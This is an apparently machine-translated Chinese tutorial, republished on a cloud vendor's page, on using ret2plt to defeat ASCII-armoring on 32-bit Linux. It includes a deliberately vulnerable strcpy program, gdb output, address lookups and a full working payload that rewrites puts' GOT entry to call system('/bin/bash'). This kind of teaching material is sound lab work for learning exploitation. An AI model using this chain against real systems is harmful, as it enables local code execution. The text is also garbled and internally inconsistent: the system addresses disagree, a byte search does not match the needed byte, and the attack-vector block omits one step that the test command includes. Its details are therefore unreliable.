Using RET2PLT to bypass the libc security zone

Source: Internet
Author: User


Background


The RET2LIBC attack technology is described earlier, the principle is simple, only need to fill the address of the system function to the location of the EIP, and then the "/bin/bash" address to the EIP + 8 position can be implemented attack.



Soon security experts put forward the ASCII armoring protection mechanism. This method is completely designed to resist the ret2libc attack method. Since RET2LIBC needs to populate the system function address on the stack, the ASCII armoring will try to get the address of all libc functions to contain a 0-byte (NULL byte), so that the strcpy copy function ends the copy when it encounters the 0 address, and the attack fails.



Despite the ASCII armoring mechanism, the security personnel soon discovered a new attack method that could be breached, a method known as RET2PLT. Before introducing RET2PLT, let's briefly introduce what is the PLT.


Elf's sister Flower Plt and got


The PLT is all called procedure Linkage table, the Chinese is the chain to take the list, it is closely related to dynamic library dynamic link process. Referring to the PLT would have to mention the Got,got full shift to global Offset Table. Plt and got are important processes for invoking dynamic library functions.



To facilitate discussion of the PLT and got, we will show you the main character code for tonight (STACK4.C)


 
 
#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
    char buffer[512];
    strcpy(buffer, input);

    printf("strcpy %s\n", input);
    printf("strcpy done\n");
}

int main(int argc, char *argv[]) {
    evilfunction(argv[1]);
    return 0;
}


Compile


Gcc-wall-g-O stack4 stack4.c-fno-stack-protector-m32


Sharp-eyed readers will think that the above code in the strcpy and printf functions are glibc Library, glibc Dynamic library running address is the runtime dynamic loading can be determined, compile time is not know its real address, the compiler is how to solve it?



The ELF specification uses PLT and got techniques to solve the dynamic relocation process, with each dynamic library function (strcpy and printf above) having a section of the PLT pile code and a got entry.
The PLT post code is used to bootstrap the caller to the dynamic Linker (LD-LINUX.SO.2), while the got key will have the real address found after the function's dynamic relocation is complete.



The above code is a sample, showing the relationship of the PLT and got of the printf/strcpy function in a single graph.



If you have the opportunity to write a detailed introduction of the PLT and got articles, in which only a simple introduction.



The PLT table is composed of several PLT table entries, the first of which is a public item, and the remaining one for each dynamic library function, each consisting of 3 instructions (specific X86 and arm, X86 version).
The Got table is also made up of multiple got table items, preceded by 3 public items, and one entry for each dynamic library entry, where the dynamic library item holds the real address of the function after the dynamic library is loaded.



For a dynamic library function that has found a real address, its got table holds the real address (as shown in the case where the real address is not yet found), and its invocation is very simple, with the Evilfunction function calling the strcpy function as an example, is the three steps in the execution of is executed inside the strcpy function.
But any dynamic library function call, its first call, the Got table entry has not yet stored its real address, it needs to do two things in this call 1) through the dynamic link to find the function address filled in the Got table entry, 2) and then called.
2nd) The pacing is no different than the function call that has been relocated, and the following is a simple step 1th). Take the strcpy function as an example: Its got item is the item labeled 3, the compiler cannot know the run address of the strcpy in a static link, so its got is pointing to the second instruction in the strcpy PLT table entry (superscript 4), and then jumps to the Public PLT table entry (6 and 7). Finally, according to the Got 3rd common item (superscript 8), the symbol lookup function jumps to the dynamic linker to find the function of strcpy and writes the address to its corresponding got table entry. Its complete process is the process of 1->2->3->4->5->6->7->8.



Here's how to use the PLT and got to attack, just understand the following points:
1) evilfunction function only need to know that the function corresponding to the PLT pile address can be called, other things by the PLT and got processing, evilfunction do not need to perceive implementation details
2) got table entries Save the address of the dynamic library function.


RET2PLT Attack Luce


The point of the ret2libc attack method is to inject system and "/bin/bash" two addresses into the stack, but the ASCII armoring causes the system address to produce 0 bytes, which cannot be attacked.
What should I do with it? Security experts have come up with a very tricky way of not directly copying the address of the system function, but rather by piecing together different memory spaces to produce the address of the system. This creates two questions.


  • How many tricks can be pieced together into the system function address
  • The address should be at what address is more appropriate


For the 1th, think of a call RRP (pop; Pop RET) instruction sequence can string multiple strcpy function calls together.
For the 2nd, there is an address that is not dependent on the libc space, which is the Got table entry.



Therefore, RET2PLT's attack thought is: Through multiple strcpy functions, put together the system function address into a got table, and then call the system function through got. Its stack structure and execution process:



The most ingenious process of the whole process is the use of the PPR (pop, pop, ret Order first address) technique, use can be high address two parameters out of the stack, and then execute the next strcpy function.


Attack process


Depending on the stack structure, you need to find the following address:
1. strcpy's PLT Address
2. PPR Instruction Sequence Address
3. System function address, and find 4 addresses containing system[0], system[1], system[2] and system[3]
4. Puts's got address
5. Puts's PLT address
6. "/bin/bash" string address


Alignment with EIP position

GdB./stack4
(GDB) r "$ (perl-e ' print" A "x524.") BBBB ". “”’)”

Starting program:/home/ivan/exploit/stack4 "$ (perl-e ' print" A "x524." BBBB ". “”’)”
strcpy
strcpy done

Program received signal SIGSEGV, segmentation fault.
0x42424242 in?? ()
(GDB)


It is clear that the NO. 524 byte can then be aligned with the EIP.


strcpy Address of the PLT
(gdb) disassemble evilfunction
 Dump of assembler code for function evilfunction:
    0x08048444 <+0>:     push   %ebp
    0x08048445 <+1>:     mov    %esp,%ebp
    0x08048447 <+3>:     sub    $0x218,%esp
    0x0804844d <+9>:     mov    0x8(%ebp),%eax
    0x08048450 <+12>:    mov    %eax,0x4(%esp)
    0x08048454 <+16>:    lea    -0x208(%ebp),%eax
    0x0804845a <+22>:    mov    %eax,(%esp)
    0x0804845d <+25>:    call   0x8048350 <strcpy@plt>
    0x08048462 <+30>:    mov    $0x8048580,%eax
    0x08048467 <+35>:    mov    0x8(%ebp),%edx
    0x0804846a <+38>:    mov    %edx,0x4(%esp)
    0x0804846e <+42>:    mov    %eax,(%esp)
    0x08048471 <+45>:    call   0x8048340 <printf@plt>
    0x08048476 <+50>:    movl   $0x804858b,(%esp)
    0x0804847d <+57>:    call   0x8048360 <puts@plt>
    0x08048482 <+62>:    leave
    0x08048483 <+63>:    ret
 End of assembler dump.


Direct Decompile Evilfunction can obtain the strcpy's PLT address directly to 0x08048350.


PPR Command Address


Use the objdump-d stack4 command to output assembly instructions, and then find the Pop/pop/ret order of instructions, with the following results:


8048412:5b Pop%EBX
8048413:5D Pop%EBP
8048414:C3 ret


So the address of PPR is: 0x08048412.


SYSTEM[0..3] Address


Due to the ASCII armoring mechanism, the system address contains 0 bytes, resulting in the end of the strcpy copy, which does not achieve the desired attack effect. Attackers think of the ret2plt attack method, is to find 4 address space, its first byte is the system address of the first byte, the second byte, the third byte and the fourth byte, and then a byte copy, the 4 byte piece into the got inside. Thus bypassing the direct copy of the system address causes the failure.


System Address


The ASCII armoring feature was developed by Redhat, only on Redhat server and Fodera, which does not have this security feature on Ubuntu. This test is performed on Ubuntu and its system address does not contain 0 bytes, which could have been attacked directly using RET2LIBC. But in order to demonstrate the skill of the Ret2plt attack method, it is worth to share with you.


system$1={<textvariable0xf7e5ce80 <system>


System's address is 0XF5E5CE80


Find 4 addresses the first byte contains the system's byte


For Byte lookup gdb provides a find command that can find some byte or word content on a certain amount of memory space.
Which space to look for, in order to attack more accurate, can only be found on the mirrored memory space, GDB provides the info file command to view the process space layout:


(GDB) Info file
Symbols from "/home/ivan/exploit/stack4".
Unix Child process:
Using the running image of child process 4883.
While running this, GDB does not access memory from ...
Local exec file:
'/home/ivan/exploit/stack4 ', file type elf32-i386.
Entry point:0x8048390
0x08048154-0x08048167 is. Interp
0x08048168-0x08048188 is. Note. Abi-tag
0X08048188-0X080481AC is. Note.gnu.build-id
0X080481AC-0X080481CC is. Gnu.hash
0X080481CC-0X0804823C is. Dynsym
0x0804823c-0x08048294 is. dynstr
0X08048294-0X080482A2 is. gnu.version
0X080482A4-0X080482C4 is. Gnu.version_r
0X080482C4-0X080482CC is. Rel.dyn
0X080482CC-0X080482F4 is. rel.plt
0x080482f4-0x08048322 is. Init
0x08048330-0x08048390 is. plt
0X08048390-0X0804855C is. Text
0x0804855c-0x08048576 is. Fini
0x08048578-0x08048597 is. Rodata
0x08048598-0x080485d4 is. Eh_frame_hdr
0x080485d4-0x080486b8 is. eh_frame
0X08049F14-0X08049F1C is. ctors
0x08049f1c-0x08049f24 is. dtors
0x08049f24-0x08049f28 is. JCR
0X08049F28-0X08049FF0 is. dynamic
0x08049ff0-0x08049ff4 is. Got
0X08049FF4-0X0804A014 is. got.plt
0X0804A014-0X0804A01C is. Data
0x0804a01c-0x0804a024 is. BSS
0xf7fdc114-0xf7fdc138 is. Note.gnu.build-id in/lib/ld-linux.so.2
0XF7FDC138-0XF7FDC1F4 is. Hash in/lib/ld-linux.so.2
0xf7fdc1f4-0xf7fdc2d4 is. Gnu.hash in/lib/ld-linux.so.2
0xf7fdc2d4-0xf7fdc494 is. Dynsym in/lib/ld-linux.so.2
0xf7fdc494-0xf7fdc612 is. Dynstr in/lib/ld-linux.so.2
0XF7FDC612-0XF7FDC64A is. Gnu.version in/lib/ld-linux.so.2
0xf7fdc64c-0xf7fdc714 is. Gnu.version_d in/lib/ld-linux.so.2
From the first segment to the BSS segment are mirrored memory, using the Find command to find 4 bytes of the system address in this space. Note: Since the system address is eventually copied to the Got table, X86 is a small-endian byte order, so first copy the low-order byte, that is, the copy sequence is: 0x80, 0xce, 0xe5, 0xf7. In this order the 4 byte of the Find command is as follows:

 
(gdb) find /b 0x08048154, 0x08049f24, 0x80
 0x80483c7 <__do_global_dtors_aux+7>

 (gdb) find /b 0x08048154, 0x0804a024, 0xee
 0x804845e <evilfunction+26>

 (gdb) find /b 0x08048154, 0x0804a024, 0xe5
 0x80483c2 <__do_global_dtors_aux+2>

 (gdb) find /b 0x08048154, 0x0804a024, 0xf7
 0x8049f6f


4 addresses are: 0x80483c7, 0x804845e, 0x80483c2,0x8049f6f


Puts's PLT address and got address


In fact, you just need to piece together the system address into the Got table entry, not necessarily the got table entry that requires the puts function. But there is another point to note that the first byte found above contains 0x80, 0xce, 0xe5, 0xf7 address space, its second byte is not necessarily 0x00, that is, the string terminator. Then strcpy will copy multiple bytes when making the address-patchwork copy, even overwriting the next got. Therefore, when the option target got, its address must be at the back of the strcpy got address, otherwise strpcy got once modified, strcpy call will be invalidated, this is the reason why this article chose puts got.



Through GDB decompile Evilfunction can find its PLT address, along the PLT directive can find got address, respectively, as follows:


[email protected] = 0x08048360
[email protected] = 0x0804a008

"/bin/bash" string address


According to the method described earlier, you can include the "/bin/bash" string in the attack vector, and then calculate its corresponding stack address, and you will find it.
In fact, Linux has a shell environment variable that indicates which shell was used before, and its value is usually "/bin/bash", as follows:


$ env | Grep-i Shell
Shell=/bin/bash


The environment variables for each process are stored on the stack of the main thread, so the string can be found on the mainline stacks space. Because the code for this article is single-threaded, you can go up and down the ESP address:


(GDB) x/1000s $esp
...
0XFFFFD8B4: "/home/ivan/exploit/stack4"
0xffffd8ce: "Shell=/bin/bash"
0XFFFFD8DE: "Term=xterm"
...


So the "/bin/bash" string address is 0xffffd8ce + 6 = 0xffffd8d4


Form attack vectors


In fact, Figure 2 already has the attack structure, the content is as follows:


[Email protected] + PPR + [email protected][0] + addr of system[0]
[Email protected] + PPR + [email protected][1] + addr of system[1]
[Email protected] + PPR + [email protected][2] + addr of system[2]
[Email protected] + PPR + [email protected][3] + addr of system[3]
[Email protected] + exit + addr of "/bin/bash"


The attack vectors can be formed by filling in the above content using GDB step-by:


"\x50\x83\x04\x08". "\x12\x84\x04\x08". "\x08\xa0\x04\x08". "\xc7\x83\x04\x08".
"\x50\x83\x04\x08". "\x12\x84\x04\x08". "\x0a\xa0\x04\x08". "\xc2\x83\x04\x08".
"\x50\x83\x04\x08". "\x12\x84\x04\x08". "\x0b\xa0\x04\x08". "\x6f\x9f\x04\x08".
"\x60\x83\x04\x08". "\x60\x2b\xe5\xf7". "\xd4\xd8\xff\xff"

Test

./sTaCk4" (PERL-E ' Print "A" x524. "\x50\x83\x04\x08". "\x12\x84\x04\x08". "\x08\xa0\x04\x08". "\xc7\x83\x04\x08". "\x50\x83\x04\x08". "\x12\x84\x04\x08". "\x09\xa0\x04\x08". "\x5e\x84\x04\x08". "\x50\x83\x04\x08". "\x12\x84\x04\x08". "\x0a\xa0\x04\x08". "\xc2\x83\x04\x08". "\x50\x83\x04\x08". "\x12\x84\x04\x08". "\x0b\xa0\x04\x08". "\x6f\x9f\x04\x08". "\x60\x83\x04\x08". "\x60\x2b\xe5\xf7". "\xd4\xd8\xff\xff") "
strcpy []ít&
strcpy done
$


Successfully opened a new bash, test pass.


Summary


Ret2plt attack is more difficult than the previous Ret2lic attack method, for beginners, it is difficult to attack successfully, need to continue to use GDB call, in order to finally succeed. The test requires more gdb to analyze the attack vectors where the error is.



Copyright NOTICE: This article is the original article of Bo Master, please indicate the author and source by the courtesy reprint



Using RET2PLT to bypass the libc security zone


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.